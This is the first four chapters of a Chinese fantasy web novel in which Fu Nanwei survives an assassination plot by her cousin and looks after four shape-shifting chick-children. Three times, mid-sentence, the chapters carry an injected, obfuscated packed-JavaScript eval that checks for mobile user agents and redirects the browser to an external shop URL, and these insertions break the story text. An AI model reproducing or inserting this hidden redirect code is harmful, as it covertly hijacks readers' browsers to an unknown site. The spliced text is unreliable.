《神女大人后悔救我了吗》 1. 第 1 章 “三小姐要杀四小姐?” 乱草堆中欲行方便的得福身躯一僵,怎不知他这嘴巴这么欠收拾,此时的他真想给自己一嘴巴子。 草堆的另一边就是三小姐和她的两个合谋者,要是知道这里藏了个人,他的小命铁定会交代在这里。 得福本是傅家的一个小马夫,因生了副好皮囊还赶得一手好马,有幸在为数十人的马夫竞选赛中获得头筹,被三小姐选中做了她的专职车夫。但多半是因为前者,三小姐有自己的私心,那些胡子叭嚓一本正经的大叔她不喜欢,就得福长得白,脸上干干净净的! 三小姐爱逛街,喜欢拉着三五好友出去玩,高兴或是不高兴都会将一些买了又突然失去兴趣的珠串当着其他小姐的面丢给得福。得福尚未娶妻,珠串用不着就换成了银钱。且这三小姐像是认不得银子,把银子不当银子花,时间一久,将来他有很大希望能成为一把钥匙的主人。 有了房子,婚姻大事就不能是儿戏,他简直要爱惨了三小姐! 可是,他却亲耳听见了三小姐的秘密。 杀了四小姐? 事关人命,他的人命,怎能不怕? 幸运的是,他欠揍的嘴巴并未惊起波澜,草堆那边的三个人没多久就走了。 他顺了顺心口,终于松了口气。但很快又有一口气提了上来:“三小姐要杀四小姐?” 他默念着,似乎这才把最后的三个字听明白。 四小姐? 为何要杀四小姐? 傅家老太爷育有二子,长子傅云琛弃文从武,次子傅云晟弃武从文,二子作为朝中文武重臣,刚正不阿,颇受百姓爱戴。 可惜,天妒英才,两兄弟早早便去了,留下府中孤儿寡母相依度日。 次子留有一女,便是三小姐傅映雪。长子与妻和离,一儿一女托付于弟媳,这女儿便是四小姐傅南微。 四小姐算是府中异类,脾气怪还不爱笑,更不与人亲近,且她霉运不断,有时候喝水都能被呛到。几乎所有人都不喜欢她,包括她的兄长。 但这样的四小姐却有一门极好的亲事! 只是,姐妹一场,三小姐即便心里不痛快也不至于要了人家的命啊! 得福猜测也许三小姐早就看不惯四小姐了,想除之而后快?今日也是因着二夫人带着三四小姐来山中祭祖,才让三小姐得了机会,意图在荒郊野岭杀了四小姐? “女人的嫉妒心真可怕!” 得福后怕地念着,想回马车却怕三小姐突然回来撞见他这个偷听者,但他若不赶紧回去提醒四小姐,那么四小姐十有八九就见不到明天的太阳了。 真是奇了,他怎会生出把三小姐的秘密告诉四小姐这种荒诞念头来? 他要买房,三小姐就是自己的大财主,四小姐的生死与他何干?三小姐对自己的妹妹都能下得去手,何况他只是一个小小的马夫。 不划算,也犯不着! 他前途光明,为何要冒着天大的风险去得罪他的大财主?何况那个奇怪的四小姐他都没见过几次。 他拍了自己一巴掌,一屁股坐下去,将自己完全藏进草丛。 待掐好时间准备回去时他探出的脑袋猛然缩了回来,一双手中电般抓起了拳头。 此刻,草堆外头飞来了几个人影,他们手中有刀有剑,只中间的那蓝衣姑娘拿着一把匕首。 他捂住嘴巴,今日四小姐穿的正是一件蓝衣素衫! 四名蒙面黑衣,两名与三小姐合谋者差不多的翩翩白衣,在…… 围杀四小姐? 难道不止三小姐要杀四小姐? 得福简直不敢想象四小姐会死得有多惨,待在这里的每一刻都是煎熬,他不敢再看。 毫无预兆,天上倏地降下一道高亢有力的笛声,其声似鼓,却更温和,落在打斗的地方之后这破阵般的笛声又骤然消失。 得福掐紧的拳头颤颤发抖,他亲眼看见那蓝衣人手起刀落,黑黑白白的人欻欻欻倒了一地。 所有的声音顷刻间消失了,万物静止,他几乎能听见自己的心跳。 三小姐找来的白衣人还有那三个不明来历的黑衣人,倒下之后就再也没起来。 他们全都死了! 大脑空白,全是恐惧。 他不敢看,不敢动,只让双手合十作揖,往上求了祖宗十八代,只希望自己不要被四小姐发现,让他能平安离开这里。 “他就要复生了!” 幽怨的少年声砸进耳朵时得福的脚已经不听使唤了,不自觉跪了下去。 横斜交织的密草堆外立着的是那身素净蓝衣,她旁边,还有一个矮她一头的同色蓝衣少年。 正背对着他。 他不止一次确认,那介瘦削的蓝衣身影就是刚才三小姐指明要杀的四小姐。 他咽了咽口水,眼睁睁看着四小姐将一把带血的匕首递给那少年:“怕吗?” 少年摇头:“娘亲不怕,我就不怕!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497712|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘娘娘......娘亲? 暂存的一丝理智告诉得福他家四小姐尚未成婚。 哪里蹦出这么一大个儿子来? “但他若敢伤害娘亲,我一定杀了他!”少年字字铿锵,像在宣誓。 声音方落,少年熟练地在自己掌心划了道口子,殷红鲜血一滴一滴掉落在地面,竟把那一块实打实的泥土地砸出一个窟窿来。 四面疾风扑卷而来,汇聚在那窟窿里,在里面呼啸、盘旋,将那窟窿越卷越开,越撑越大。 一、二、三……八,竟有八座房子那么大! 得福快要哭了。 不知什么时候,那窟窿里有了水,至地下冒出的水很快就把那有整整八座房子大小的窟窿给填、满、了! 像是星星也为它坠落了,水面压满星光,熠熠光辉若鱼儿摆尾,逗弄着水花,引得涟漪荡漾,引人无限遐想。 得福的身体彻底不听使唤了,最后看到的是,天空电闪雷鸣,水面掀起巨浪,四小姐迈进了那个窟窿,水浪一层一层地扑打在四小姐身上,可怕得似要生吞了她。 如夜的黑,天地间彻底换了颜色。 唯独有一束月光扑向水面,像是在安抚,可惜那窟窿里的水太过暴躁,为强风卷起的巨浪不停抽打着地面,仿若一只绝命挣扎的凶恶困兽。 但,四小姐好似并不怕它,朝前的脚步稳得可怕。 得福脆弱的耳朵里终于听见了一声少年的怒吼。 “混蛋,放开我娘亲!” 可那水里的东西不仅并未因此收手,反而愈加放肆。 一条条水柱离开水面,慢慢爬上四小姐的身体,进而化为一层薄薄的水衣,慢慢收拢,汇聚成了一条盘曲的水蛇。 将四小姐拽入了水中。 “你放开她!” 少年的愤怒在天地间炸开,他毫不迟疑地跳入水中,哪曾想会被一只巨大的水形蛇尾扫得不知踪影。 得福彻底倒下了。 今天多倒霉啊!不仅听见了三小姐的秘密,还叫他碰见了水蛇妖。 四小姐呢?刚才她杀人眼睛也不带眨一下的,简直比无法无天的三小姐更为凶残。 耳边的风仍在呼啸,水的嘶吼也不曾停歇。 四小姐这下死透了吧! 不知过了多久,这些声音都退散了去。又不知过了多久,不远处传来了阵阵叫喊。 原来是二夫人发现四小姐不见了,正差人打着火把四处搜寻呢! 2. 第 2 章 “悔吗?” 耳畔的声音很轻,温热的气息拂过脸颊。傅南微意识模糊,身体早已失去力气,对身前人的摆弄根本无力挣扎。 水流涌动的闷响在耳畔长鸣,那人挟着她的腰,一只大手在她腰侧游移。 “永远纠缠在一起吧!” “我的神女大人~” 唇上突来的疼痛让傅南微猛然从梦中惊醒,像是刚从水下出来,她连咳带喘了好一会才缓过来。再看此处,才发现不是九嶷山,而是她住的白露轩。 余惊未了,她捂着心口,忙走至梳妆台前,瞧了自己的嘴唇,无血也无红肿。 还好,虚惊一场。 她下意识朝自己脖前一握,却是掌心空空。 那颗从小便挂在脖子上的灯笼石,不见了! 努力回想,她记得二伯母带她和傅映雪去九嶷山祭祖,在庄上休息时傅映雪说房间太简陋了,闹着要回去。只是路程遥远,天又将黑,便是纵马飞驰也是回不去的了。 傅映雪朝她扔了话就走,头也不回,她不知怎么就追了出去。 哪曾想,傅映雪没追到,倒有几个拿刀的蒙面人追上了她。 “有人出了高价,要买你一条性命。” 她的霉运接二连三,不受家人待见就把自己困在后院一角,隔离了人群,谁会要她的命? “那人是谁?” 蒙面人笑了笑:“你去地下问吧!” 亮铮铮的刀片晃过来,她转身逃离。 不多时,两名白衣从天而降,挡了她的去路:“她是我们的!” 蒙面人也懵了一瞬,大叫道:“狂……妄。” 白衣人:“再多说一个字,把你们也杀了!” 本以为他们会打起来,没想到都默契地将刀剑指向她。 她收紧拳头,抽出匕首与他们殊死一搏。力竭前天空忽而传来笛声,这笛声似有股魔力,血液让她变得暴躁,好似有一种奇怪的力量急欲冲出她的体内。 之后发生的事就没印象了,她只知道自己处于一片星光之中,意识朦胧,什么也不曾发生,除了那个梦。 怎么会做那样的梦? 简直荒诞! 正想着,门外传来响动。 “还敢跑!” 是刘嬷嬷,她正用扫帚挥扫着两只在地上蹦蹦跳跳的小鸡崽。 小鸡崽通体金黄,尾羽飘逸修长,身巧灵活,一前一后,轻轻松松便躲过了刘嬷嬷的夺命扫把。其中一只像是在挑衅,撅起肥嘟嘟的屁股,左右摇了摇,简直跟小孩子的“略略略”相差无几。而这一摇,也使后面那只跟着学了起来。 刘嬷嬷气得咬牙切齿:“要了命了,这些小畜生成精了不成?敢在这里放肆,看我今天不宰了你们!” 一时间,院里老妇人的怒喝和鸡崽们的啾啾叫此起彼伏,一浪胜过一浪。 傅南微目色一沉,一把抓住刘嬷嬷将要拍下的扫帚:“刘嬷嬷,我之前说过,这地方你不能进来。” 刘嬷嬷余光从她身上扫过,挂怒的脸上又多了丝不屑:“天老爷,四小姐你这说的是什么话?小姐恐怕都不知道自己睡了几天吧?这两天要不是我掏心掏肺地伺候着,四小姐你哪还能醒得过来啊!” “四小姐你也知道自己是个召祸的,这府中的下人哪一个不躲着你?也就是嬷嬷我看在大少爷的份上,肯用我这半截入土的老骨头照顾你。我若是不进这院子,四小姐你还有命在?” 这口气,敢情能活下来全是因为她? 以前是不屑与她分辨的,今日却不一样了。 傅南薇掰开她的手,将扫帚扔远,拍拍手上污浊:“不消嬷嬷提醒,我自知不受家人待见,有小姐的身份无小姐的命。” 不待刘嬷嬷开口,继续说道:“但嬷嬷您不同,您身份尊贵,如今却要屈尊来我这小地方受这么大的委屈,我这心里也是过意不去的。嬷嬷是待我好,可我霉运缠身,恐会惹得您一身晦气。要不等兄长回来我让他请人帮您老人家做场大型法事,为您除了身上这晦气,如此可好?” 听罢,刘嬷嬷脸上霎时变了颜色,这不是拐着弯说她目无尊卑、倚老卖老嘛?她也知道,即便是再尊贵的,自己终究只是个仆妇,特意为她做法事?显得多金贵一样,府里这么多双眼睛盯着看着,这不是把她往风口浪尖上推吗? 刘嬷嬷是大少爷的奶娘,自认为算得半个娘,大少爷对她一向也是尊敬的,在府里偶尔也能仗着大少爷的势在下人堆里呈呈威风。但万万没想到这大少爷行军前会派给她一个这样的活啊。 就让这倒霉的四小姐在这院子乖乖受着不挺好的吗?非得让她来这荒凉地儿沾沾那人尽皆知的晦气。 沾了晦气便算了,反正来这之前她找先生算过,她命硬,心里也算有了底。但可恨的是,这倒霉蛋不让她进这白露轩,让她去和洒扫的仆人挤大通铺,是个人都会觉得委屈的程度,何况她是大少爷的奶娘刘嬷嬷。 虽是得了闲,这院子不用她扫了,饭不用她做了,不用伺候这倒霉的四小姐了,但被赶出来她就是觉得很委屈。 方才刚跨进门槛就被两只小鸡扑腾,她憋压在心里的气一下冲至顶端,就管不住自己的嘴了。 现在被四小姐言语提醒,她才意识到刚刚的冲动,不过她也不在怕的,没人倚仗,一个不受重视的倒霉小姐能拿她怎么样? 但毕竟还有四小姐的名头在,她怎么也得装装样子:“我刚刚也是担心四小姐想进来看看,谁知这两个小畜生分外阻挠,还来啄我眼睛……” “嬷嬷当真是昏了头吗?”傅南微厉声喝道,“兄长是吩咐你来照顾我还是让你来侮辱我的?他们是我的爱宠,不是你口中的小畜生。” 在这里待了三四个月,刘嬷嬷还从未见过她发这么大的火,倏忽一懵。 “照顾我们是你职责所在,嬷嬷不能光拿银子不办事。要是月钱没发够,大可不必拿他们撒气,我可亲自去一趟二伯母那儿为你讨个说法。” “不!” 听见二伯母三个字的刘嬷嬷忙摆手:“二夫人治家有方,做事严谨,如何会短了我的月钱。四小姐说笑了,刚刚是我口快,以后不会了,我这就出去。” 刘嬷嬷皱着眉头,捡起扫把,拂衣去。 “等等,”傅南微想起什么,“你有没有看见我的灯笼石?” 刘嬷嬷摇头:“没有没有,那灯笼石从你回来我就不曾见过,真真的!” 傅南微审视着她,观其不像扯谎的样子便让她走了。若是回来就没有,那灯笼石大有可能是落在九嶷山了。 刘嬷嬷前脚刚走,地上扑闪着翅膀的两只小鸡就迫不及待地飞奔过来,在傅南微身前化成了人形,只她一半来高的人形。 “娘亲您终于醒了~” 方才挑衅刘嬷嬷的架势消失了个彻底,小孩声音甜甜软软的,抱着她的大腿,一双葡萄似的大眼睛水汪汪地看着她:“电电不是做梦吧?娘亲快摸摸电电~” 谁知,被旁边那位一手推开:“行了,爱哭包,该我了!” 雷杀嫌弃的眼神瞬转明亮,只是才展开双手,电电就用屁股撅开了他:“这回你怎么说,我都不会让你了。” “哟呵~” 傅南微无奈一笑,蹲身将两小孩揽进怀中,抚着他们后脑勺:“怎么就你们两个,风动和雨来呢?” 电电抢答:“大哥和娘亲去九嶷山就没回来,二哥让我们照顾娘亲,自己找他去了。” “娘亲,大哥没事吧?”雷杀一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497713|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把扒开电电。 风动确实跟着去了九嶷山,傅南微记得离开庄子去找傅映雪的时候风动就在。但后来发生的事是她没料到的,遂也不知道风动发生了什么,眼下只得安抚他们:“会没事的。” 两小只嗯嗯点头,引傅南微回屋休息。 “娘亲,快告诉我,谁欺负您了,我去捶死他!” 雷杀还未说完,两把小铁锤即刻锤出一根细雷。 “三哥,你吵到我耳朵了!”电电边说边挠耳洞。 端坐的傅南微没有说话。 雷杀懊悔不已:“早知如此,我还听什么雨来的话?我就该亲自去趟九嶷山,雨来他找不到,我总能找出些蛛丝马迹来!” “三哥,我们要相信二哥,他一定能把大哥找回来的。”电电慢慢按下他高举雷锤子的双手。 “他……”雷杀磕巴了半天,“且先相信他一回吧!” 真凶和大哥,他脑子里优先想的居然是幕后真凶,惭愧啊。 几乎在同一时间,两小只肚子咕咕叫起来。 电电摸摸肚皮,咬着下唇,双眼无辜。 “饿了?”傅南微低头看他。 雷杀鼓起腮帮再次握紧铁锤:“那个老巫婆抢走了我们的饭碗,已经两天没给我们吃的了。” 电电报告:“要不是二哥千叮万嘱让我们不要生事,老巫婆早就被三哥的雷锤子给劈死啦!” “以后不许鲁莽!”傅南微微皱眉头。 两小只哦了声,电电声音淡淡,因为二哥曾说过自己是个听话的乖孩子,故而娘亲这话主要是说给三哥听的。 傅南微去外面看了眼墙角的小厨房,没什么菜,只得先熬两碗米粥给两孩子充饥。 雷杀和电电一口下肚,喝得心满意足。 看来确实被饿坏了,平时这粥他们嫌寡淡,都看不上的。 这小厨房可以说是为几兄弟挑剔的嘴巴而建。 傅府上下皆知,四小姐独居深闺,为解寂寞便养小鸡作伴,但她养的小鸡都长不大,往往不到一个月就死了。府里人都说是她的晦气所致,而她每次出府就是为了埋它们,然后又会带回新的小鸡。如此往复,谁都不敢靠近她这晦气的小院了。可想而知刘嬷嬷这两日是下了多大的决心。 下人们都怕染了晦气,平时送饭你推我我推你,有时候甚至都忘了送,反正四小姐也不会宁愿饿肚子也不叫他们。四小姐尚且如此,更别说小鸡们的口粮了,左不过是几只鸡而已,死了买新的就是,反正四小姐又没有心,死了就换新的,都一样。 况且,二夫人和大少爷都是不管的! 后来四小姐更通人情了些,特意求了二夫人在小院里开了小灶,下人们只负责送些蔬菜到她院门口。 但他们不知道的是,小鸡并非普通的小鸡,他们不仅会说话还会飞,最喜欢吃神族的竹实、饮清透的甘泉。甘泉可用晨露代替,可竹实极为罕见,实在难寻。傅南薇不让家仆进院就是怕他们发现四兄弟的身份,还好他们年纪小,除了尾巴长些还看不出端倪。 起初,几兄弟才到府中个个饿得皮包骨,傅南微就只能亲自动手,天还没亮就起来接晨露,用燕麦、玉米、薏仁之类的谷物代替竹实,兄弟几个才慢慢长了肉。 她不想把这些交给别人去做,所以每次出府便是去采购这些优质的谷物,顺便寻找竹实,还好经过不懈的努力终于叫她找到了竹实的卖家。 盯着空空如也的厨房,傅南微想出去买些口粮囤起来,以免在她不在的情况下让他们饿了肚皮。雷杀不放心要跟着一起去,但她没答应。 带上袋子,出了小院,洒扫的小厮默默垂头装没看见,迎面过路的叫了声四小姐也冲忙走了。 挺好,没人碍她事! 3. 第 3 章 天盛城西市,在一条买卖药材的窄街尽头,傅南微找到了卖竹实的卷老板。 彼时的卷老板嘴里正叼着根毛草,头枕双臂,一腿搭着一腿,躺在角落边,他衣衫不齐,神情看上去很是悠闲。而他前面立着个麻袋,袋口大敞,里面是深褐色的饱满小颗粒。 “老板,这些我全要了。”傅南微特意提高了声量。 卷老板似不太在意,没看来人,只是把手往袋子上一挥:“六十两,有钱拿走,没钱走人!” 三十两涨到六十两?如果不是只有他在卖这种神境的竹实,傅南微定转头就走。 “三十。” 躺地上的人忽地坐起:“我说小姑娘,你......哟,原来是姑娘您呐,可许久没来了哟~” 他一口吐出毛草,侧身扭转,提眼看她:“罢了,你是熟客,我给您便宜点,五十两。” “三十!” “啧~” 卷老板一下跳起来,与她面对面讲,“不是,这是我特意去神境的丹穴山上采摘的,是上等货。” 傅南微不为所动:“你以前也是这么跟我说的!” 卷老板眼神飘忽:“这这不一样,这竹实三十年才结得一次果,是个罕物,以前神族与人族交好,两境之间通货无阻,价钱便宜。现在他们那儿的大老板突然要求限量采摘,还要把价格翻一倍。您是我的老熟客,这才给您五十,实话给您说吧,这价钱我都不带赚的。” 傅南微怀疑:“神族为何要限制你们采摘?” “嘿哟~黑了心肠要宰肥羊呗!”卷老板顾看左右,凑近些悄声说道,“其实主要还是因为一件事,晓得一百年前妖皇痴恋常兮神女不得的事儿吧?” 傅南微没说话。 卷老板张口就来:“一百年前,常兮神女和梵乐圣君大婚,神族发帖广邀三族宾客,人境、巫境尊者纷纷赶赴丹丘山祝贺,唯独妖境无一妖前往。都说妖皇气量小,受不得如此侮辱。哼……要我眼睁睁看着自己心爱的女人嫁给别人,我也不去!只是这妖皇爱惨了常兮,他为了阻止婚礼,不仅往丹穴山上扔了团火,还把丹丘的婚堂都给拆了。更甚,为了抢走常兮他竟出手伤了梵乐,还扬言要屠了丹丘。” 卷老板手脚并用,越说越起劲:“但常兮她想嫁的就是梵乐圣君啊,好好的婚礼被搅得一团糟,她对妖皇便起了杀心。” “哎,绝代的妖皇啊,他怎么也没想到会被自己爱到骨子里的人亲手所杀......至死都在渴求着常兮的爱!他甚至都不知道,那常兮无心,连亲姐姐都下得去手的人怎么会对他有情有爱呢!” “好。”傅南微将一袋钱放他手里,“五十成交。” 卷老板盯着手里的钱袋子愣是呆了片刻,直到亲眼看见她提起地上的麻袋才反应过来:“你刚没听我讲话吗?” 傅南微将麻袋用身上的袋子完全包裹,抱在怀里:“妖皇烧的就是长竹实的林子,他们供货难,我知道了!” 说完就走,状况外的卷老板急忙拦下:“你都不好奇常兮后来有没有得到报应?” 关她何事? 傅南微绕过他的手臂:“下次的我订了!” 说完急急走了,卷老板满眼不甘:“你还有钱吗就下次订了?最讨厌不好好听人家讲故事的人了,没礼貌!” 家里两只小鸡崽还饿着肚子呢,傅南微得赶紧回去。似乎是步子快了些,她感觉有点提不上气,不得不放慢脚步。 春日的阳光温暖和煦,花气的清香沁人心脾。那院墙旁边正有一支探出墙的桃花,轻风拂过,花枝微颤。 看花的间隙,小巷里忽然涌来一群人,他们乌泱泱地朝她身边接连闪过,像是要去争抢什么东西。她急忙抱紧竹实,侧身避让。 俄顷,肩头忽地撞上一道坚实的屏障,带着一种清新独特的花香。 抬眼时她只瞥见那人身着玄色锦袍,衣摆绣暗金云纹,他步履轻扬,傲然疏离的威压感扑面而来。再观他长发半挽,用一根木簪束起,半头青丝垂落肩背,为风轻轻爱抚。 这身影,像在某个久远的梦境中见过。 想再细看,可那人已融入人流,只留得一介远去的背影,在人群中很是扎眼。她远远望着,也是远了才发现他身侧还有个孩童,那孩子约莫五六岁,梳着利落的狼尾,黑发间赫然垂着一缕长长的绿发。 那人牵着孩子的小手,一高一低,在攒动的人潮中稳步前行。 鬼使神差,竟让她有一种想要跟上去的冲动。 但她不会。 梦境虚妄不实,那人是谁与她何干! * 傅家的一处花.径红廊是回白露轩的必经之路,傅南微刚一步入廊便见前方有一人朝她轰然下跪。 其他人都是低头匆匆从她身边走过,这还隔着一条长廊就朝她下跪的倒是头一个。 傅南微虽是诧异,但往前的步履却未停歇。 红廊一面靠墙,墙上的漏窗中有阳光倾泻下来,同时也带来了谈话的人声。 “她命真大,这样都不死,为了杀她还废了我养了好久的两只小妖!” “小姐别生气,那蛇妖凶戾,只能怪两小妖灵力不济。但得福不是也说了蛇妖救下四小姐之后就把她卷入水里了吗?小姐想想为什么其他人都死了她偏偏还活着?” “蛇性本淫!蛇妖不是要她的命?而是......我那好妹妹定是失身于那淫蛇了!” “小姐慎言,若此事传到白家人耳中,四小姐会被退婚的。” “退婚?哼……这不正合我意嘛!” 傅南微在长廊通往花园的岔路口停下了脚步,无意中瞥见跪在她跟前的人偷偷瞅了她。 得福方才一看见她就吓得腿脚发软,膝盖不觉就落到了地上。现在又与她冷厉得不输于那日的眼神撞在一起,只觉自己要大难临头了。他把头猛磕在地,一下又一下地重复:“小……小小小人只给三小姐说了个大概,其他不该说的小人一个字都没说,以后也绝对不会说。四……四小姐饶命,小人只是个赶车的,四小姐大人大量,就放放……放过小人吧……” 傅南微静静俯视着他,没有说话。 “小福子,我何时让你给她下跪了?” 傅映雪悠悠走来:“我养的狗只能跪我,起来!” 最后两字颇重,得福被吓得愣了愣。九嶷山,他亲耳听见三小姐说要杀四小姐,又亲眼目睹了四小姐杀了所有追杀她的人。 这两姐妹的狠辣程度若要排个位,他想手刃了四人二妖的四小姐当属第一。 在犹豫要不要起来时,侍女屏儿已经揪住了他的耳朵,直往上拎:“你耳朵聋了?三小姐的话都敢不听?” 得福痛得嗷嗷叫,不得不站起来。 不再管他,傅映雪意味深长地看着傅南微,绕她一圈后才站定:“刚刚的话想必妹妹也听见了,那我就跟你摊牌了吧。不错,那两只白兔妖是我养的,至于其他四位嘛,那就得问问你还得罪过什么人了。姐姐好言于此,以后生死就全凭你自己的造化了。” 说着顺了顺傅南微散乱在肩头的一缕长发,付之一笑:“若妹妹你要告发姐姐,姐姐也没什么好说的,只能劝妹妹动作得快些,不然等妹妹与蛇妖春宵一度的消息传出,妹妹恐怕就很难收场喽~” 傅映雪没等傅南微开口便笑着离开了红廊,屏儿捏着得福耳朵的手仍然没有松开,提着他紧跟其后。 在得福逐渐远去的哀嚎中,傅南微想起了那个梦,梦中的那个人确实冒犯过她。 傅映雪的话让她产生了怀疑,那究竟只是一个梦还是身体在昏迷边缘留下的记忆? 白露轩的路突然变得难走极了,好像每迈出一步就会被上面的荆棘刺伤。 等好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497714|202579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不容易到白露轩,二伯母院中的夏嬷嬷已经站在门口等她:“夫人请四小姐去一趟。” 傅南微进屋放了袋子,跟着夏嬷嬷去了思静斋。 思静斋的布置很简单,二伯母行节俭之风,房间里的椅子都不会超过两把。 与花钱大手大脚的傅映雪不愧是两母女! “二伯母找我?” 沈碧灵坐在屋内那把唯一的木椅上打量了傅南微须臾:“身子可好些了?” 傅南微点头:“谢二伯母关心,我已经好多了。” “那便好,出事那日发现你不见了,我带人在莫名出现的湖边寻了你一个晚上,大夫说你伤了元气,养段时日便能恢复。这几日我会让她们把药煎好给你送过去。” “好。” 沈碧灵右手抵上太阳穴,叹了口气:“我本想替你寻个公道,但追杀你的那几名歹人已化白骨,主谋无从查起,此事实在难以......” “我知道主谋是谁。”傅南微淡淡开口。 沈碧灵抵住太阳穴的手一下弹开:“你,知道?” 傅南微道:“我听九嶷山附近的村民说过,那一代有镖局的人经过,因所压之宝被盗无从交差,他们便弃了镖身,占山为王,烧杀抢掠无恶不作。要杀我的便是那些贼寇,他们意图劫财,见我身无分文便起了杀心。” 听罢,沈碧灵悬心一落,欣慰地看着她:“原来如此,说来还得感谢那蛇妖了,如若不然,我真不知该如何向你死去的父亲交代。” “此事无关蛇妖,我也没见过什么蛇妖!”傅南微郑重道。 沈碧灵凝眉,质疑道:“是这样吗?那些贼寇是被谁所杀?你吗?” 傅南微静静看着她:“二伯母的意思是我打不过他们?难不成二伯母比我更了解他们?” 木椅上的人将目光收回,指尖触着眉心:“我当然是信你的,只怪那个得福非说亲眼看见一条水蛇把你拽入湖底,刚好我们也是在湖边找到你的。” 傅南微眼睛微眯:“他还说了什么?” 沈碧灵面露难色:“那蠢奴被吓破了胆,说的话自然是不可信的,不说也罢。只要你们姐妹相安无事便好!” “相安无事?”傅南微表情无甚波动,“我认为我有必要提醒一下二伯母,三姐她可能不太好!” 听罢,沈碧灵蓦地站起来,盯着她的眼神也变得犀利了几分,良久,一字未发。 “二伯母可还有别的事?”傅南微问道。 沈碧灵气息一沉,闭上眼睛,抬手示意她出去。 傅南微转身便离开,刚至门槛时又被里头的声音叫住。 “傅家本为一体,一荣俱荣,一损俱损。这是你们太爷爷嘱咐你父亲和你二叔的话。你知道的,自他们走后傅家远不如从前。我刚接到消息,你们兄长打了胜仗,即将凯旋。这是我们傅家唯一能翻身的机会,傅家若能荣光再现,届时任他白家如何富足,也不能因你的一些意外过往而说道什么。” 意外过往? 傅南微目色一沉:“二伯母与其说这些话不如多管教管教傅映雪!” 没有回头,她直接跨出了屋子。 她明白这些话的意思,意在让她不要状告傅映雪。傅家姐妹相残,有损家风,只有她把这些事情咽进肚子里,她的兄长才不会因流言所累,她才能不受蛇妖影响顺利嫁去白家。傅映雪干的事双方心知肚明,她刚刚不过是编了一个山贼为财杀人的故事让沈碧灵有个台阶下,而沈碧灵也在拿蛇妖的事警告她。相互有对方的把柄在,才能把九嶷山的事按下去。 如此也能给兄长一个交代。 只是这话不该给她说,傅映雪和她身边的人才是祸事的根源。管好了她们,哪里会有这么多事? 傅映雪不做人事,好在有个给她收拾烂摊子的好娘。 但她傅南微可不会惯着她! 4. 第 4 章 傅南微刚到白露轩就看见上头一缕黑烟升腾而起,彼时还沉浸在情绪中的她飞速入院,跑至事发地点——墙角的小厨房。 原来稳稳当当立在那边的小土灶已经化为一堆焦土,撑着屋顶的柱子也裂了一条缝,里面的白烟突突往外冒。 “你们在干什么?”亲眼看见这盛况的她声音里满是愠怒。 这把小灶前正卖力争抢一个白瓷碗的两兄弟吓得抖了抖,白瓷碗“啪”一声落地,碎成了好几块。 一霎沉寂之后,满脸黢黑的电电率先跑过来:“我们怕娘亲饿,想给娘亲做点吃的,就……不小心把厨房给炸了。娘亲不生气,我和三哥会把它恢复原样的。” 受傅映雪和沈碧灵两母女的影响,傅南微心情确实不太好,但当她往地上的白瓷块看去时,那上面附着的焦黑黏腻之物竟瞬间惹红了她的眼睛。 “娘亲~”雷杀跟着跑过来,垂低着脑袋,“娘亲对不起,是我要拉着电电来厨房的,本来大哥做饭的样子我全都记下了,但不知道为什么我弄出来的都是黑的,电电说您吃了会中毒要拿去扔了,我不让就和他打了一架。没想到那灶台这么不经劈,一下就给劈没了。” “还有我还有我,我不该说三哥做的饭狗都不吃,也不该不听二哥的话随意施展法术,娘亲,电电知错了,娘亲别生我们的气好不好?”电电仰着头,两只大眼睛已经挤满了泪水。 雷杀使雷,电电善电,他们年纪小,平时都是两位哥哥照顾的对象,哪里会做饭?想到这,傅南微俯身,手指轻触着两兄弟脸上的一层黑灰,笑了笑。 见她笑了,两兄弟这才松了口气。 “娘亲教我做饭吧,我保证一学就会!”雷杀对自己很有信心。 电电瞪大眼睛:“你还……还要做饭?” “是啊,这点小困难怎么难得住我?我以后要做很多很多好吃的饭菜给娘亲吃!” 电电转头就是一呕,努力说服自己他是哥哥,不要再侮辱他了。 此刻,院门被叩响。 “四小姐,今日的菜和二夫人吩咐的安神药给您放门口了。” 等声音落下,傅南微就去取了进来,菜是小白菜和一些芋头,那多出来的一个盒子装的便是安神药了。她将里面的小圆碗取出来,在院墙边的一排山茶花中选了最末的一盆,把汤药一点点倒在里面。 “娘亲为什么要把汤喂给那株半死不活的花?”电电扣扣后脑跟。 雷杀白他一眼:“娘亲不要的能是好东西?” 之后傅南微从厨房旁边的井中打来干净的水洗白了雷杀和电电,随后快速收拾了下厨房,用为数不多的砖块搭了个简易灶台,将芋头和白菜煮了。 实在饿得不行了,只能先将就着。 